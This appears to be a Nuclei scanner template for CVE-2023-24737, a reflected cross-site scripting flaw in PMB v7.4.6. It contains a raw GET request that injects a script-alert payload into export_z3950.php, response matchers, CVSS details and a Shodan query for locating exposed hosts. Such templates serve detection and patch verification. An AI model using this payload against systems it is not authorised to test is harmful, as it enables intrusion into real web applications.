id: CVE-2023-24737 info: name: PMB v7.4.6 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | PMB v7.4.6 allows an attacker to perform a reflected XSS on export_z3950.php via the 'query' parameter. remediation: | Apply the latest security patch or upgrade to a non-vulnerable version of PMB. reference: - https://github.com/AetherBlack/CVE/blob/main/PMB/readme.md - https://github.com/AetherBlack/CVE/tree/main/PMB - https://nvd.nist.gov/vuln/detail/CVE-2023-24737 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-24737 cwe-id: CWE-79 epss-score: 0.00071 epss-percentile: 0.29517 cpe: cpe:2.3:a:pmb_project:pmb:7.4.6:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: pmb_project product: pmb shodan-query: http.favicon.hash:1469328760 tags: cve,cve2023,xss,pmb http: - raw: - | GET /pmb/admin/convert/export_z3950.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - '3@1=' - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a00473045022100aefeb23885e20d3ca7a8c194188d52091c17f8f4ddaf230b2ddd7bbd3f69cf48022002168198ce704c9a0f55648a6de17136b0fafea8d30dfaed23702ba13cde11a6:922c64590222798bb761d5b6d8e72950